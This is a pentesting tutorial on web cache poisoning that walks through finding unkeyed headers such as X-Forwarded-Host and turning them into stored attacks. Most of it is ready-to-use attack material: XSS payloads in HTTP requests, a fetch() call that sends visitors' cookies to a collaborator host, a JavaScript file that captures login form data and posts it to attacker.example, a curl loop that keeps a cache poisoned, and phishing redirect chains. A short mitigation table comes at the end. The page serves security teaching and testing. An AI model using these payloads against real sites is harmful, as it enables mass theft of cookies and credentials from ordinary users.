Salta ai contenuti
Seleziona tema

Web cache poisoning

Questi contenuti non sono ancora disponibili nella tua lingua.

Web cache poisoning turns a single attacker request into a stored attack served to every user who hits the same cached page. The attacker manipulates an input that the cache ignores (an unkeyed input) but the back-end reflects in the response. Once that poisoned response is cached, every subsequent visitor receives the attacker’s payload until the cache entry expires, and the attacker can re-poison it indefinitely.

The impact depends on two factors: what the attacker can inject (XSS, redirect, resource hijack) and how much traffic the poisoned page receives. Poisoning a high-traffic homepage means thousands of victims from one request.

A cache sits between clients and the origin server, storing responses to reduce load and latency.

The cache compares incoming requests against stored entries using a subset of the request called the cache key. Typically the key includes:

  • The request line (method + path + query string)
  • The Host header

Everything not in the cache key is called unkeyed. The cache ignores unkeyed components when deciding whether to serve a stored response. If an unkeyed input changes the response content, the attacker poisons the cache by sending a request with a malicious unkeyed value.

Attacker request: Cache key = GET /page + Host: target.example
X-Forwarded-Host: evil.com ← unkeyed, ignored by cache
Response contains evil.com ← stored in cache
Victim request: Cache key = GET /page + Host: target.example
No special headers Cache key matches → serves the poisoned response
Victim receives evil.com

Before hunting for unkeyed inputs, confirm that the application uses a cache at all and that the page you are testing is actually cached. Without this step, you can spend hours fuzzing headers on a page that is never stored.

Send the same request twice and compare the response headers:

First request
GET /en?region=uk HTTP/1.1
Host: target.example
First response - look for these headers
HTTP/1.1 200 OK
Cache-Control: public, max-age=1800
X-Cache: miss
Age: 0
Second request (identical)
GET /en?region=uk HTTP/1.1
Host: target.example
Second response - cache is working
HTTP/1.1 200 OK
Cache-Control: public, max-age=1800
X-Cache: hit
Age: 3

The key indicators:

Header / behavior Cache exists No cache
X-Cache First: miss, second: hit Header absent or always miss
Age Increments on repeated requests Header absent
Cache-Control public, max-age=N, s-maxage=N no-store, no-cache, private
Via Present (e.g., 1.1 varnish) Absent
Response time Second request noticeably faster Same speed
CF-Cache-Status HIT / MISS (Cloudflare) DYNAMIC or absent

If the homepage returns Cache-Control: no-store, do not give up. Different pages have different caching policies. Walk the site and check headers on:

  • Static-looking paths: /, /about, /blog/post-title
  • Pages with query parameters: /search?q=test, /products?category=1
  • Localized paths: /en/, /fr/, /en?region=uk
  • Resources loaded by the page: .js, .css files (these are often cached aggressively)

What makes a page a good target for cache poisoning:

  1. It is cached (X-Cache: hit on the second request)
  2. It has a reasonable max-age (the longer, the more victims see the poisoned version)
  3. It receives traffic (homepage, login page, popular product pages)
  4. It is an HTML page, not a static asset (you need a reflection point for XSS)

The attack: find and exploit unkeyed inputs

Section titled “The attack: find and exploit unkeyed inputs”

You confirmed the page is cached. Now find an input that the cache ignores but the back-end reflects in the response. This is the core of cache poisoning: an input that is unkeyed (not part of the cache key) but influential (changes the response).

Why this works: the cache stores and serves the response based on the cache key. If you add a header that is not in the key, the cache does not distinguish your request from a normal one. But if the back-end uses that header to build the response, your injected value is stored and served to everyone.

Add a header with a recognizable canary value, then check if it appears in the response:

Test X-Forwarded-Host
GET /en?region=uk&cb=abc123 HTTP/1.1
Host: target.example
X-Forwarded-Host: CANARY-12345

Search the response body for CANARY-12345. If you find it, this header is reflected and unkeyed (the cache buster cb=abc123 isolates your test from real cache entries).

Repeat for each candidate header:

Test X-Forwarded-Proto
GET /en?region=uk&cb=def456 HTTP/1.1
Host: target.example
X-Forwarded-Proto: CANARY-PROTO

Manual testing is slow. Param Miner (Burp BApp Store) automates the process:

  1. Install Param Miner from the BApp Store
  2. In Burp, find a request to a cached page (confirmed in the previous step)
  3. Right-click the request → “Guess headers”
  4. Param Miner sends hundreds of requests, each with a different header from its built-in wordlist, plus an automatic cache buster to avoid cross-contamination
  5. If a header changes the response, Param Miner reports it:
    • Burp Pro: appears in the Issues panel as “Web cache poisoning”
    • Burp Community: appears in the Output tab of the Param Miner extension
Header What it does when reflected How to spot it
X-Forwarded-Host Replaces hostname in generated URLs, <meta> tags, <script src> Search for your canary in href, src, content attributes
X-Forwarded-Scheme / X-Forwarded-Proto Changes the scheme (http/https), can trigger a redirect Response becomes a 301/302 with Location header
X-Original-URL / X-Rewrite-URL Overrides the request path server-side Response body changes to a different page entirely
X-Host Alternative to X-Forwarded-Host on some frameworks Same as X-Forwarded-Host
X-Forwarded-Port Appended to the host in generated URLs Canary appears after a : in URLs
Cookies (if unkeyed) Cookie value reflected in the page (language selector, preferences) Check if Vary: Cookie is absent

Finding a reflected unkeyed input is not enough. You need to determine where in the response it appears and whether you can inject something dangerous:

Reflection context Exploitable? What to inject
Inside an HTML attribute (href, src, content) Yes, break out of the attribute "><script>alert(1)</script>
As a <script src> URL Yes, host your own JS file Point to attacker.example
In a Location: redirect header Yes, redirect to phishing Combine with X-Forwarded-Proto
In a comment or non-rendered element Probably not Limited impact, look for other inputs
URL-encoded or HTML-encoded by the server Harder Try double encoding, different injection points

If the reflected value is sanitized (HTML entities, URL encoding), cache poisoning alone is not enough. Look for a second unkeyed input or a DOM sink that processes the encoded value client-side.

Once you find a reflected unkeyed input in a dangerous context, build the actual payload. The goal is to make the response contain something that executes in every visitor’s browser.

Three common reflection points and how to exploit each:

In a <meta> tag (Open Graph image URL):

Request
GET /en?region=uk&cb=test123 HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
Response
<meta property="og:image" content="https://attacker.example/cms/social.png" />

The X-Forwarded-Host value directly builds the URL. No sanitization.

In a <script src> import:

Request
GET /?cb=test456 HTTP/1.1
Host: target.example
X-Forwarded-Host: attacker.example
Response
<script src="https://attacker.example/static/analytics.js"></script>

In a 301/302 redirect Location header:

Request
GET /random?cb=test789 HTTP/1.1
Host: target.example
X-Forwarded-Proto: http
Response
HTTP/1.1 301 Moved Permanently
Location: https://target.example/random

Combine X-Forwarded-Proto: http with X-Forwarded-Host: attacker.example to redirect to the attacker’s domain.

Remove the cache buster and send the poisoned request so the cache stores the malicious response under the real cache key.

How to confirm the cache stored it:

Poisoned request (no cache buster)
GET /en?region=uk HTTP/1.1
Host: target.example
X-Forwarded-Host: a]"><script>alert(document.domain)</script>
Response headers to check
HTTP/1.1 200 OK
Cache-Control: public, max-age=1800
Age: 0
X-Cache: miss

X-Cache: miss + Age: 0 means this is a fresh response, now stored in the cache. Send the same request without the malicious header:

Verify the poison
GET /en?region=uk HTTP/1.1
Host: target.example
Should return
HTTP/1.1 200 OK
X-Cache: hit
Age: 3
<meta property="og:image" content="https://a]"><script>alert(document.domain)</script>...

X-Cache: hit confirms you received the cached (poisoned) response. Open the same URL in a different browser or incognito window to verify a real victim would be affected.

The cache stores a response for max-age seconds. The Age header tells you how old the current entry is. The window to poison is:

Time until expiry = max-age - Age

When Age approaches max-age, the next request will be a cache miss and the back-end generates a fresh response. That is the moment to send the poisoned request.

For persistent poisoning, script the re-poisoning to fire every time the cache is about to expire:

Re-poison loop
while true; do
curl -s -o /dev/null \
-H "Host: target.example" \
-H "X-Forwarded-Host: attacker.example" \
"https://target.example/en?region=uk"
sleep 1790 # max-age is 1800, re-poison 10s before expiry
done
Section titled “XSS via unkeyed header: cookie theft at scale”

The X-Forwarded-Host value is reflected in a <meta> tag without sanitization. Break out of the attribute and inject a script that exfiltrates every visitor’s cookies:

Poison request
GET /en?region=uk HTTP/1.1
Host: target.example
X-Forwarded-Host: x]"/><script>fetch('https://YOUR-ID.oastify.com',{method:'POST',mode:'no-cors',body:document.cookie})</script><meta x="
Poisoned response
<meta property="og:image" content="https://x]"/>
<script>fetch('https://YOUR-ID.oastify.com',{method:'POST',mode:'no-cors',body:document.cookie})</script>
<meta x="/cms/social.png" />

Once cached, every visitor to /en?region=uk sends their session cookie to the attacker’s Collaborator server. With max-age=1800 and the re-poison loop running, this is persistent stored XSS affecting all traffic to the page.

Resource import hijacking: full JavaScript control

Section titled “Resource import hijacking: full JavaScript control”

When the unkeyed header controls a <script src>, the attacker hosts their own JavaScript file. This gives full control over the page in the victim’s browser.

  1. Poison the cache so <script src> points to attacker.example:

    Poison
    GET / HTTP/1.1
    Host: target.example
    X-Forwarded-Host: attacker.example
  2. Host the malicious script on attacker.example at the exact path the page imports (e.g., /static/analytics.js):

    attacker.example/static/analytics.js
    // Steal credentials from the login form
    document.addEventListener('submit', function(e) {
    var form = e.target;
    fetch('https://attacker.example/log', {
    method: 'POST',
    mode: 'no-cors',
    body: JSON.stringify({
    url: location.href,
    data: new FormData(form).entries().reduce(
    function(o,p){o[p[0]]=p[1];return o}, {}
    )
    })
    });
    });
  3. Once cached, every visitor loads and executes the attacker’s script. The attacker can steal cookies, capture form submissions, redirect users, or inject a crypto miner.

Multiple headers: redirect chain to phishing

Section titled “Multiple headers: redirect chain to phishing”

Some targets require two unkeyed headers working together. The first forces a scheme downgrade, the second changes the host:

Poison: combined redirect
GET /login HTTP/1.1
Host: target.example
X-Forwarded-Proto: http
X-Forwarded-Host: attacker.example
Cached response
HTTP/1.1 301 Moved Permanently
Location: https://attacker.example/login

Cached result: every visitor to /login is silently redirected to a phishing page that mirrors the real login form. Credentials entered on the phishing page go to the attacker.

If a cookie value is reflected in the response but cookies are not part of the cache key, the attacker injects a payload via the cookie:

XSS via unkeyed cookie
GET /blog/post.php?mobile=1 HTTP/1.1
Host: target.example
Cookie: language="><script>alert(document.domain)</script>

If the language cookie value is injected into the page HTML without encoding, and the cookie is not keyed, this response is served to all users who visit the same URL.

This vector is rare in the wild because legitimate users with different cookie values accidentally poison the cache, which gets noticed quickly.

When the response includes Vary: User-Agent, each unique User-Agent string gets its own cache entry. The attacker can:

  • Identify the victim’s User-Agent (via a separate interaction, email tracking pixel, or social engineering) and poison only that cache entry for a targeted attack
  • Use the most common User-Agent (the latest Chrome on Windows) to maximize the number of affected users
Targeted poison for a specific browser
GET / HTTP/1.1
Host: target.example
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
X-Forwarded-Host: attacker.example

Only visitors with that exact User-Agent receive the poisoned response.

The target page fetches a JSON configuration file from a URL that the unkeyed header controls. Client-side JavaScript passes a value from the JSON into a dangerous sink (innerHTML, eval, document.write):

Vulnerable client-side code
fetch('/config.json')
.then(r => r.json())
.then(data => {
document.getElementById('welcome').innerHTML = data.greeting;
});
  1. Poison the cache so /config.json is fetched from the attacker’s server:

    Poison
    GET / HTTP/1.1
    Host: target.example
    X-Forwarded-Host: attacker.example
  2. Host the malicious JSON on the attacker’s server with CORS enabled:

    attacker.example/config.json
    HTTP/1.1 200 OK
    Content-Type: application/json
    Access-Control-Allow-Origin: *
    {"greeting": "<img src=x onerror=alert(document.domain)>"}
  3. The cached page loads https://attacker.example/config.json, the JavaScript puts the greeting value into innerHTML, and the XSS fires.

A single unkeyed input may produce only a partial reflection or a low-impact change (wrong language, minor redirect). Chaining multiple techniques escalates the impact:

  1. Redirect + resource import: force a redirect to a page that imports resources from the attacker via a second poisoned entry
  2. Low-impact reflection + DOM sink: the reflection does not break out of an attribute, but the value reaches a DOM sink via JavaScript
  3. Cookie + header: the cookie sets the language, the header sets the domain for resource imports, and together they produce XSS
Header What it tells you
X-Cache: hit / miss Whether the response came from cache
Age: 174 Seconds since the response was cached
Cache-Control: public, max-age=1800 Cache lifetime (1800s = 30 min)
Vary: User-Agent User-Agent is part of the cache key
Via: 1.1 varnish Cache technology in use (Varnish, CloudFront, Akamai)
CF-Cache-Status: HIT Cloudflare-specific cache status
1. Confirm caching exists
- Send the same request twice
- Second response has X-Cache: hit or Age > 0?
- Note Cache-Control max-age value
2. Find unkeyed inputs (Param Miner)
- Right-click → "Guess headers" with cache buster enabled
- Also manually test: X-Forwarded-Host, X-Forwarded-Proto,
X-Original-URL, X-Host
- Check if cookies are keyed (Vary header, or test directly)
3. Verify reflection
- Unkeyed input appears in the response body?
- Context: HTML attribute, script src, meta tag, redirect Location?
- Dangerous enough for XSS or resource hijack?
4. Craft and test the payload (with cache buster)
- XSS: break out of the context, inject script
- Resource hijack: point script/link src to attacker domain
- Redirect: force Location to attacker domain
- Verify the payload fires in a browser
5. Poison the real cache (without cache buster)
- Remove the cb= parameter
- Send the poisoned request
- Verify X-Cache: hit returns the payload
- Open in incognito / different browser to confirm
6. Document the timing
- Note max-age and current Age
- Calculate expiry window
- Demonstrate re-poisoning is possible
Measure Why
Cache only truly static responses If any input changes the response, either key that input or do not cache the page
Key every input that influences the response If X-Forwarded-Host changes the HTML, it must be in the cache key
Strip unnecessary headers at the CDN If X-Forwarded-Host is not needed, do not pass it to the origin
Disable fat GET requests Do not process request bodies on GET requests
Patch client-side vulnerabilities A “non-exploitable” DOM XSS becomes exploitable via cache poisoning
Audit CDN defaults Many CDN features (header forwarding, origin override) are on by default
Review Vary configuration Ensure all inputs that change the response are listed in Vary
Rewrite requests instead of excluding inputs from the key Excluding an input from the key but still using it server-side is the exact condition for cache poisoning

2113 parole, circa 11 min di lettura